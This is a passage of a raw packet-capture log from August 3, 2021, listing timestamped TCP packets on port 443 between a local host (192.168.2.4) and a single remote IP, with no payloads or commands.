Aug 3, 2021 20:39:40.241487980 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241502047 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.241545916 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.421477079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421519995 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421542883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421565056 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421588898 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421611071 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421633959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421655893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421672106 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.421680927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421704054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421720982 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.421725035 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421746969 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421770096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421786070 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.421791077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421813011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421833992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421842098 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.421859026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421881914 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.421911001 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.421971083 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.422283888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422310114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422329903 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422353983 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422377110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422398090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422420025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422436953 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.422441006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422461987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422483921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422504902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422528982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422532082 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.422553062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422574043 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422585011 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.422595978 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422616959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422638893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422646046 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.422661066 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422682047 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422707081 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422719002 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.422729015 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422749996 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422771931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422775030 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.422794104 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422816038 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422837973 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422842979 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.422861099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422884941 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422907114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422919989 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.422928095 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.422974110 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.423037052 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.601547003 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601577044 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601593971 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601610899 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601625919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601644993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601661921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601677895 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601690054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601705074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601722956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601739883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601756096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601771116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601777077 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.601785898 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601800919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601816893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601818085 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.601829052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.601835966 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.601989985 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.602303982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602355003 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602371931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602385998 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602436066 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602453947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602469921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602482080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602494955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602493048 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.602507114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602513075 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.602519989 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602533102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602544069 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.602545977 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602559090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602571011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602602005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602618933 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602634907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602649927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602665901 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.602669954 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602674961 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.602688074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602699041 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602706909 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.602710962 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602722883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602735043 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602746964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602758884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602771997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602773905 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.602787971 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602791071 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.602798939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.602832079 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.602884054 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.839042902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.839171886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.839235067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.839287043 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.839338064 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.839396954 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.839468956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.839505911 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.839534044 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.839546919 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.839591026 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.839592934 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.839668036 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.839730978 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.839793921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.839812994 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.839852095 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.839895010 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.839901924 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.839955091 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.839983940 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.840018034 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840071917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840121031 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840125084 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.840167999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840208054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840212107 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.840270996 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840311050 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840346098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840375900 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840405941 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840432882 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.840445042 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840454102 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.840473890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840504885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840543985 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840585947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840622902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840637922 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.840671062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840713978 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840733051 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.840751886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840790987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840802908 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.840831041 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840862989 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.840868950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840909004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840920925 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.840939045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840969086 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.840997934 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.841027975 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.841036081 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.841058016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.841101885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.841126919 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.841142893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.841181993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.841196060 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.841221094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.841257095 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.841269970 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.841327906 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.021996021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022028923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022042990 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022054911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022070885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022094011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022109985 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022130966 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022155046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022177935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022197008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022217989 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022239923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022238970 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022259951 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022262096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022264004 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022267103 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022285938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022286892 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022304058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022326946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022345066 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022350073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022372007 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022372007 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022387981 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022397995 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022422075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022440910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022459030 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022460938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022481918 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022494078 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022505045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022527933 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022536039 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022550106 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022574902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022594929 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022595882 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022612095 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022623062 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022635937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022654057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022665024 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022670031 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022686958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022702932 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022703886 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022722960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022727013 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022746086 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022767067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022770882 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022789955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022809982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022811890 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022831917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022854090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022856951 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.022872925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022886992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022902012 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022913933 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022926092 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022938013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.022968054 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.023011923 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.023017883 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.023020983 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.202637911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.202682018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.202702045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.202722073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.202740908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.202759981 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.202779055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.202805996 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.202908039 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.202943087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.202958107 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.202967882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.202999115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203026056 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.203027964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203053951 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203078985 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203104019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203146935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203150034 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.203233004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203269958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203283072 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.203304052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203344107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203366041 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.203392982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203430891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203454018 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.203464985 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203496933 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203527927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203532934 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.203560114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203591108 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203604937 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.203630924 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203665018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203668118 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.203696012 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203721046 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.203727961 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203759909 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203789949 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203790903 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.203820944 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203852892 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203872919 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.203891993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203922987 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.203927040 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203958035 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203989029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.203990936 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.204022884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.204039097 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.204054117 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.204086065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.204117060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.204117060 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.204157114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.204191923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.204197884 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.204224110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.204255104 CEST	49756	443	192.168.2.4	207.241.228.148
